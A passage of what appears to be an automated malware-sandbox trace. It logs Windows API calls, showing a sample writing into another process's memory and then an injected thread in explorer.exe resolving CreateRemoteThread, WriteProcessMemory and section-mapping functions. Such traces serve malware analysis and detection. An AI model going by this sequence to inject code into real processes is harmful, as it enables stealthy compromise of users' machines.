[82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 0x0 [0042.407] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0042.407] HeapFree (in: hHeap=0x21c0000, dwFlags=0x0, lpMem=0x25bdb70 | out: hHeap=0x21c0000) returned 1 [0042.407] NtUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0x2670000) returned 0x0 [0042.419] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0042.419] CloseHandle (hObject=0x134) returned 1 [0042.419] VirtualProtectEx (in: hProcess=0x12c, lpAddress=0x771a6930, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x27fa68 | out: lpflOldProtect=0x27fa68*=0x20) returned 1 [0042.419] NtWriteVirtualMemory (in: ProcessHandle=0x12c, BaseAddress=0x771a6930, Buffer=0x27f540*, NumberOfBytesToWrite=0x4, NumberOfBytesWritten=0x27f4f0 | out: Buffer=0x27f540*, NumberOfBytesWritten=0x27f4f0*=0x4) returned 0x0 [0042.429] VirtualProtectEx (in: hProcess=0x12c, lpAddress=0x771a6930, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x27fa68 | out: lpflOldProtect=0x27fa68*=0x40) returned 1 [0042.430] ResumeThread (hThread=0x130) returned 0x1 [0042.657] CloseHandle (hObject=0x130) returned 1 [0042.657] CloseHandle (hObject=0x12c) returned 1 [0042.657] RtlExitUserProcess (ExitCode=0x0) Thread: id = 4 os_tid = 0xaec Process: id = "3" image_name = "explorer.exe" filename = "c:\\windows\\explorer.exe" page_root = "0x74aa7000" os_pid = "0x458" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "2" os_parent_pid = "0xae4" cmd_line = "C:\\Windows\\Explorer.EXE" cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "64" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ca" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 5 os_tid = 0xa64 Thread: id = 6 os_tid = 0x94c Thread: id = 7 os_tid = 0x928 Thread: id = 8 os_tid = 0x5c0 Thread: id = 9 os_tid = 0x6e0 Thread: id = 10 os_tid = 0x6c4 Thread: id = 11 os_tid = 0x684 Thread: id = 12 os_tid = 0x324 Thread: id = 13 os_tid = 0x32c Thread: id = 14 os_tid = 0x334 Thread: id = 15 os_tid = 0x664 Thread: id = 16 os_tid = 0x5ec Thread: id = 17 os_tid = 0x56c Thread: id = 18 os_tid = 0x554 Thread: id = 19 os_tid = 0x650 Thread: id = 20 os_tid = 0x640 Thread: id = 21 os_tid = 0x634 Thread: id = 22 os_tid = 0x61c Thread: id = 23 os_tid = 0x5a0 Thread: id = 24 os_tid = 0x564 Thread: id = 25 os_tid = 0x548 Thread: id = 26 os_tid = 0x544 [0236.310] SetEvent (hEvent=0x52c) returned 1 [0236.310] SetEvent (hEvent=0x6d8) returned 1 Thread: id = 27 os_tid = 0x540 [0204.250] SetEvent (hEvent=0x6d8) returned 1 [0204.250] SetEvent (hEvent=0x5dc) returned 1 Thread: id = 28 os_tid = 0x53c Thread: id = 29 os_tid = 0x530 Thread: id = 30 os_tid = 0x528 Thread: id = 31 os_tid = 0x520 Thread: id = 32 os_tid = 0x51c Thread: id = 33 os_tid = 0x518 Thread: id = 34 os_tid = 0x508 Thread: id = 35 os_tid = 0x4ac Thread: id = 36 os_tid = 0x4a0 Thread: id = 37 os_tid = 0x490 Thread: id = 38 os_tid = 0x48c Thread: id = 39 os_tid = 0x488 Thread: id = 40 os_tid = 0x464 Thread: id = 41 os_tid = 0x45c Thread: id = 42 os_tid = 0xaf0 [0042.432] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="ntdll.dll", BaseAddress=0x6adfea8 | out: BaseAddress=0x6adfea8*=0x77160000) returned 0x0 [0042.432] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="ZwOpenProcess", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x771b1570) returned 0x0 [0042.433] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="ZwQueryInformationToken", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x771b1520) returned 0x0 [0042.433] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="ZwClose", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x771b1400) returned 0x0 [0042.433] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="NtUnmapViewOfSection", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x771b15b0) returned 0x0 [0042.434] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="NtMapViewOfSection", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x771b1590) returned 0x0 [0042.434] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="NtCreateSection", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x771b17b0) returned 0x0 [0042.434] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="RtlRandomEx", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7719dce0) returned 0x0 [0042.435] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="NtQuerySystemInformation", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x771b1670) returned 0x0 [0042.435] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="RtlNtStatusToDosError", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x771b5110) returned 0x0 [0042.435] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="ZwQueryInformationProcess", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x771b14a0) returned 0x0 [0042.436] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="memcmp", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x771aea60) returned 0x0 [0042.436] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="_strupr", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x771e8fdc) returned 0x0 [0042.436] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="_wcsupr", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x771e9560) returned 0x0 [0042.437] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="memmove", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x771ae6d0) returned 0x0 [0042.437] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="bsearch", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x771b7df4) returned 0x0 [0042.438] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="_vsnwprintf", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x77190880) returned 0x0 [0042.438] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="_strlwr", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x771e8fb0) returned 0x0 [0042.438] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="atoi", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x771665e4) returned 0x0 [0042.439] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="strstr", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x771eac00) returned 0x0 [0042.439] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="wcscpy", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x771eb380) returned 0x0 [0042.439] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="RtlFreeUnicodeString", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x771b5610) returned 0x0 [0042.440] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="ZwQueryKey", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x771b1470) returned 0x0 [0042.440] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="RtlUpcaseUnicodeString", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7718ce40) returned 0x0 [0042.440] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="sprintf", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x771ea738) returned 0x0 [0042.441] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="_snprintf", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x771e8ae0) returned 0x0 [0042.441] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="memset", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x771b2ed0) returned 0x0 [0042.441] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="RtlAdjustPrivilege", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7716a7f0) returned 0x0 [0042.442] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="mbstowcs", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x771ea670) returned 0x0 [0042.442] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="strcpy", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x771af9f0) returned 0x0 [0042.442] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="memcpy", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x771ae6d0) returned 0x0 [0042.443] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="RtlImageDirectoryEntryToData", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x77190950) returned 0x0 [0042.443] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="RtlImageNtHeader", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7718ecb0) returned 0x0 [0042.443] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="ZwOpenProcessToken", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x771b22d0) returned 0x0 [0042.444] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="__C_specific_handler", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7717850c) returned 0x0 [0042.444] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="__chkstk", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x771b0dd0) returned 0x0 [0042.444] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="KERNEL32.dll", BaseAddress=0x6adfea8 | out: BaseAddress=0x6adfea8*=0x77040000) returned 0x0 [0042.445] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="VirtualQueryEx", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7708bb60) returned 0x0 [0042.445] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateRemoteThread", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7708c4f0) returned 0x0 [0042.445] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetModuleFileNameW", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x77057700) returned 0x0 [0042.446] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="FileTimeToSystemTime", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7704af20) returned 0x0 [0042.446] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetLocalTime", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7704b990) returned 0x0 [0042.446] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="OpenProcess", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7705cad0) returned 0x0 [0042.447] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetVersion", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x770501d0) returned 0x0 [0042.448] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="ExitThread", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x771a6930) returned 0x0 [0042.448] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetTempFileNameA", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x770a1ee0) returned 0x0 [0042.448] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x77042ef0) returned 0x0 [0042.449] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="VirtualFree", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x77051260) returned 0x0 [0042.449] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetSystemInfo", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x77056f70) returned 0x0 [0042.449] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="DeleteCriticalSection", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x77185350) returned 0x0 [0042.450] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CloseHandle", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x77062f80) returned 0x0 [0042.450] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateFileMappingA", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7704ead0) returned 0x0 [0042.451] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="WriteProcessMemory", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7708bad0) returned 0x0 [0042.451] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateFileA", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x770631f0) returned 0x0 [0042.451] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="lstrcmpA", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x770a1230) returned 0x0 [0042.452] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="MapViewOfFile", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7704e390) returned 0x0 [0042.452] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="UnmapViewOfFile", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x77063580) returned 0x0 [0042.452] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetModuleFileNameA", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x770564a0) returned 0x0 [0042.453] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="lstrcmpiA", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x770440a0) returned 0x0 [0042.453] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetModuleHandleA", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x770565e0) returned 0x0 [0042.453] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="Sleep", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x77062b70) returned 0x0 [0042.454] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x77057070) returned 0x0 [0042.454] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetCurrentProcess", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x77055cf0) returned 0x0 [0042.454] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GlobalUnlock", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7708e570) returned 0x0 [0042.455] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="HeapAlloc", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x771b33a0) returned 0x0 [0042.455] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="lstrcpyA", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7708e160) returned 0x0 [0042.455] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GlobalLock", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7708e760) returned 0x0 [0042.456] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="lstrlenA", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7705caf0) returned 0x0 [0042.456] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="WriteFile", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x770635a0) returned 0x0 [0042.456] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateDirectoryA", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7708c5b0) returned 0x0 [0042.457] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetLastError", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x77062dd0) returned 0x0 [0042.457] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="HeapFree", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x77063070) returned 0x0 [0042.457] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="RemoveDirectoryA", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7708bdb0) returned 0x0 [0042.458] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="DeleteFileA", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x770514e0) returned 0x0 [0042.458] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="lstrcatA", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7708e110) returned 0x0 [0042.458] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetTickCount", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x77062b00) returned 0x0 [0042.459] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="HeapDestroy", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x77051490) returned 0x0 [0042.459] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="HeapCreate", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x770570e0) returned 0x0 [0042.459] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="SetEvent", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x77053f00) returned 0x0 [0042.460] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="HeapReAlloc", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x77193f20) returned 0x0 [0042.460] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="FindFirstFileW", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7705bd80) returned 0x0 [0042.460] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="LocalFree", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x770547a0) returned 0x0 [0042.461] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="WaitForMultipleObjects", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x77051170) returned 0x0 [0042.461] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="SuspendThread", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x77042f60) returned 0x0 [0042.461] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="TerminateProcess", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7708bca0) returned 0x0 [0042.462] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="ResumeThread", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x770513a0) returned 0x0 [0042.462] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="lstrcpyW", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7708e0d0) returned 0x0 [0042.462] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="FindClose", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7705bd60) returned 0x0 [0042.463] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateThread", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x77056580) returned 0x0 [0042.463] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="ResetEvent", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7704d9a0) returned 0x0 [0042.463] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="SwitchToThread", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7704b6c0) returned 0x0 [0042.464] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="lstrcatW", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7708e070) returned 0x0 [0042.464] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="FindNextFileW", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x77051910) returned 0x0 [0042.464] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateProcessW", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x77061bb0) returned 0x0 [0042.465] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CopyFileW", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x770492d0) returned 0x0 [0042.465] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="SetWaitableTimer", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x77048890) returned 0x0 [0042.465] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="LocalAlloc", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x770547c0) returned 0x0 [0042.466] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetCurrentThreadId", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x77053ee0) returned 0x0 [0042.466] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetCurrentThread", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x77053f20) returned 0x0 [0042.467] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="lstrlenW", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x77053ec0) returned 0x0 [0042.467] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateEventA", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x77051120) returned 0x0 [0042.467] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetSystemTimeAsFileTime", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x77053f40) returned 0x0 [0042.468] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetWindowsDirectoryA", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7708bfb0) returned 0x0 [0042.468] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="DeleteFileW", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7704ad90) returned 0x0 [0042.468] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateDirectoryW", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7704ad70) returned 0x0 [0042.469] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetTempPathA", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x770a2060) returned 0x0 [0042.469] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateFileW", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: 